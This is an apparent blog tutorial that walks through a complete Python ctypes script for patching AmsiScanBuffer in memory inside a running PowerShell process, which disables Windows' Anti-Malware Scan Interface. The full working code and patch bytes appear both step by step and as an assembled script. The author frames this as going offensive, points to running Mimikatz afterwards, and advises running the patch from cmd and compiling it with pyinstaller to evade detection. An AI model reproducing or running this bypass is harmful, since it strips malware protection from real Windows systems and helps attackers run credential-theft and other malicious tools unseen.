win32api with python3 part II: AMSI

cpu0x00
System Weakness
Published in
9 min readApr 30, 2023

--

python is powerful

in my last/first article i tried to explain in boring detail how to use the win32api with python3 this is the second part, hold tight because things gonna get offensive ;)

in this article i would like to talk about how to entirely patch AMSI in a powershell process

before we start, big kudos to pwn1sher for the C++ script AMSIScanBufBypass which i used massively as reference

thats been said lets get right into juicy stuff

First of all, What is AMSI?

AMSI or the Anti Malware Scanning Interface is one of the Runtime Detection solutions offered by windows to detect malware during runtime and halt it, and its the reason behind this annoying message

AMSI kicks in

AMSI works by calling AmsiScanBuffer() from amsi.dll which scans user input for malicious data and returns a value determines whether or not your input is malicious

AmsiScanBuffer() return values:

AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768

our goal is to locate AmsiScanBuffer() memory address in amsi.dll and patch its return to always return 0 AMSI_RESULT_CLEAN

this was an on the go explanation of AMSI works however there is an amazing in-depth analyses by rasta-mouse here, if you wanna geek out on this, definitely take a look

Now the traditional way of doing this, is by using either powershell with p/invoke and reflections or by using C# and they are both “to my knowledge” used by slapping in a bypass snippet in the beginning of your code to patch AMSI only in the currently running script process

the way described by pwn1sher and the way i will be using is patching AMSI in a powershell process entirely and then run whatever

In0Ke-Mim1Katz you like

now lets split down the steps of the process so we don’t get lost

  • get the powershell pid
  • get a handle to the powershell process by its pid
  • load amsi.dll
  • get the process address of AmsiScanBuffer()
  • change memory address protection of the function to RWX
  • write the patch to the memory address

it may sound like alot but its way easier than you think, thanks to win32api

so lets start to code, open an amsi_patch.py and lets first import the necessary libraries

from ctypes import windll # <-- for kernel32
from ctypes import wintypes # <-- for Windows DataTypes
import ctypes # <-- for external C/C++ Based DataTypes
import wmi # for getting the powershell pid programmatically
import platform # for determining the arch of the machine

*those imports have been explained in great detail in the last article*

step 1: getting the powershell pid automatically

we can get the powershell pid in a quick and easy way utilizing the wmi implementation in python3

WMI - Windows Management Instrumentation: WMI provides a standard way for developers and administrators to access information about the hardware, software, and configuration settings of a Windows system. This information can be accessed programmatically using a variety of programming languages

a simple function that returns the powershell.exe pid:

def get_powershell_pid():
processes = wmi.WMI().Win32_Process(name="powershell.exe")
pid = processes[0].ProcessId
print(f"[*] powershell.exe process id: {pid}")

return int(pid)

and thats it, step 1 is done.

step 2 : get a handle of the powershell process by its pid

we already have a pid so lets use OpenProcess() from the Windows api to open a handle to the process

as explained in the last article we are gonna need to take a look at the docs and define the function’s args and return types with ctypes

from the function’s documentation on microsoft

OpenProcess args and ret

it takes 3 arguments of type

  • DWORD
  • BOOL
  • DWORD

and returns a BOOL

so lets get the kernel32 from windll and define the function in python with ctypes

kernel32 = windll.kernel32

OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD,wintypes.BOOL,wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE

once the function is defined we can use it to get a process handle to the powershell.exe process

using OpenProcess to get a handle:

PROCESS_ALL_ACCESS = 0x1fffff

pid = get_powershell_pid()
phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
print(f'[*] opened a handle to process (powershell.exe) with [ OpenProcess() ]: {phandle}')

point to mention:

the PROCESS_ALL_ACCESS variable defines what kind of access the handle will have to the opened process in our case its highest kind of access, from OpenProcess() docs:

access rights

we can get a list of the variables of the process access rights by following the link in the docs

from the docs:

PROCESS_ALL_ACCESS

but wait a damn minute, where does the 0x1fffff value come from

if you noticed in the image above they are using this symbol “|” which is the bitwise OR operator, the trailing “L” at the end of the hex is representing that this variable is a LONG type variable it should be discarded in code

lets do the bitwise OR operation on the variables in python:

bitwise OR

we got a handle and everything is fine, lets move on to step3: load amsi.dll

to load the amsi.dll we gonna use the LoadLibraryA function

from the docs

LoadLibraryA

its takes 1 argument of type LPCSTR which is the library name we want to load and it returns a HMODULE

defining it in python:

LoadLibraryA = kernel32.LoadLibraryA
LoadLibraryA.argtypes = [wintypes.LPCSTR]
LoadLibraryA.restype = wintypes.HMODULE

calling the function to load amsi.dll

lib = LoadLibraryA(b"amsi")
if lib:
print(f'[*] loaded (amsi.dll) with [ LoadLibraryA() ] {lib}')

the library name must be prefixed with (b) to indicate that its in bytes because wintypes.LPCSTR is a ctypes.c_char_p or a character pointer and in C those are bytes and we are calling a C function so datatypes must match

amsi.dll is loaded, step4: get the process address of AmsiScanBuffer()

to get the process address of AmsiScanBuffer() we will use the GetProcAddress() function

from its doc:

GetProcAddress

the function takes 2 arguments of types:

1- HMODULE the returned HMODULE from the LoadLibraryA call

2- LPCSTR which is the target Process Name [AmsiScanBuffer()]

and it returns a FARPROC type

the arg types are easy at this point but the FARPROC was weird to me, but uncle StackOverFlow came to rescue, here

StackOverFlow

so lets define the function:

GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
GetProcAddress.restype = ctypes.c_void_p

now lets get the memory address of AmsiScanBuffer from amsi.dll

asb = GetProcAddress(lib, b"AmsiScanBuffer")
if asb:
print(f'[*] Got The Process Address of [ AmsiScanBuffer() ]: {asb}')

before we get into step 5 lets first define the amsi_patch that we gonna use to patch the amsiscanbuffer function, and make the script detect whether its gonna patch x64 bit or x86 based systems:

if platform.architecture()[0] == '64bit':
print('[*] using x64 based patch')
amsi_patch = (ctypes.c_char * 6)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

if platform.architecture()[0] != '64bit':
print('[*] using x86 based patch')
amsi_patch = (ctypes.c_char * 8)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00)

the weird way im using to define the variable is necessary because in C++ to define this value its gonna like this:

char Patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

which is basically a character array holding 6 bytes (a C++ character array)

so we need the same C++ character arrary in python so we type cast 6 bytes into 6 C characters or in other words create a 6 character based array and initialize it with a 6 bytes, in the x86 example its 8 bytes instead of 6

keep in mind: its necessary when getting the length of such array to use [ctypes.sizeof ] function since this is a C based array not python, using len() will not work

step 5: change memory address protection of the obtained address to RWX

to do this we’ll use VirtualProtect()

from the docs

VirtualProtect

defining it in python:


VirtualProtect = kernel32.VirtualProtect
VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD]
VirtualProtect.restype = wintypes.BOOL

VirtualProtect Arguments:

1- LPVOID: the memory address to modify protection for [AmsiScanBuffer’s address] we got it from the GetProcAddress call

2- the size of the address space to change protection for (the size of the amsi_patch)

3- the protection to change to, from the docs:

from the memory protection constants, the highest permission is READ_WRITE_EXECUTE (RWX) similar to linux based permissions:

4- a pointer to variable, basically a pointer to a zero

lets put this to work and change the memory protection of the obtained address of AmsiScanBuffer() function to RWX:

RWX = 0x40 # PAGE_READ_WRITE_EXECUTE
OLD_PROTECTION = wintypes.PDWORD(ctypes.c_ulong(0))

region_rwx = VirtualProtect(asb, ctypes.sizeof(amsi_patch), RWX, OLD_PROTECTION)
if region_rwx:
print('[*] Changed Memory Address Proctection of AmsiScanBuffer to RWX')

once protection changed, its time to write the patch to it

to write the patch we’ll use the famous WriteProcessMemory()

from the docs:

WriteProcessMemory

the function takes 5 arguments:

1- HANDLE: the handle to the opened process by OpenProcess

2- LPVOID: the base (start) address to where to write, ( the address of AmsiScanBuffer() we got from GetProcAddress() )

3- LPCVOID: the buffer to write (the amsi_patch)

4- SIZE_T: the size of the buffer

5- SIZE_T: a variable to write how many bytes have been written to memory to, in our case its a pointer to a Null

let put this to work and first define the function:

WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL

now lets create a C++ null variable to use, the Null in C is basically a Zero, so we gonna C based zero

c_null = ctypes.c_int(0)

and now we can call the function to write the patch to the memory:

write_bypass = WriteProcessMemory(phandle, asb, amsi_patch, ctypes.sizeof(amsi_patch), ctypes.byref(c_null))
if write_bypass:
print('[*] Patched AMSI !')

and thats it, now lets take a look at the script one piece in a cleaned look

from ctypes import windll # <-- for kernel32
from ctypes import wintypes # <-- for Windows DataTypes
import ctypes # <-- for external C/C++ Based DataTypes
import platform
import wmi

kernel32 = windll.kernel32


LoadLibraryA = kernel32.LoadLibraryA
LoadLibraryA.argtypes = [wintypes.LPCSTR]
LoadLibraryA.restype = wintypes.HMODULE

GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
GetProcAddress.restype = ctypes.c_void_p

VirtualProtect = kernel32.VirtualProtect
VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD]
VirtualProtect.restype = wintypes.BOOL

OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD,wintypes.BOOL,wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE

WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL


RWX = 0x40 # PAGE_READ_WRITE_EXECUTE
OLD_PROTECTION = wintypes.LPDWORD(ctypes.c_ulong(0))
PROCESS_ALL_ACCESS = 0x1fffff

if platform.architecture()[0] == '64bit':
print('[*] using x64 based patch')
amsi_patch = (ctypes.c_char * 6)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
if platform.architecture()[0] != '64bit':
print('[*] using x86 based patch')
amsi_patch = (ctypes.c_char * 8)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00)




def get_powershell_pid():
processes = wmi.WMI().Win32_Process(name="powershell.exe")
pid = processes[0].ProcessId
print(f"[*] powershell.exe process id: {pid}")

return int(pid)


pid = get_powershell_pid()
phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
print(f'[*] opened a handle to process (powershell.exe) with [ OpenProcess() ]: {phandle}')

lib = LoadLibraryA(b"amsi")
if lib:
print(f'[*] loaded (amsi.dll) with [ LoadLibraryA() ] {lib}')

asb = GetProcAddress(lib, b"AmsiScanBuffer")
if asb:
print(f'[*] Got The Process Address of [ AmsiScanBuffer() ]: {asb}')

region_rwx = VirtualProtect(asb, ctypes.sizeof(amsi_patch), RWX, OLD_PROTECTION)
if region_rwx:
print('[*] Changed Memory Address Proctection of AmsiScanBuffer to RWX')

c_null = ctypes.c_int(0)
write_bypass = WriteProcessMemory(phandle, asb, amsi_patch, ctypes.sizeof(amsi_patch), ctypes.byref(c_null))
if write_bypass:
print('[*] Patched AMSI !')

now the best way to use this script is to compile with pyinstaller or any other python compiler

with pyinstaller: pyinstaller --onefile amsi_patch.py

i will make an article on how to compile python for windows on linux

for now’s sake we will test it as .py, so open a powershell terminal and before the patch run this command PS> amsiscanbuffer

it should like this:

Not Patched powershell

now from a cmd window while powershell is running run the patch, you could run the patch from the powershell terminal its just better to run from cmd for evading detections, this should be the output:

patching amsi

and then go back to the powershell and test it again, you should see this:

patched powershell

congrats! AMSI is not working any more, now you can run whatever you want from this powershell terminal without worrying about AMSI

Thats a wrap!.

--

--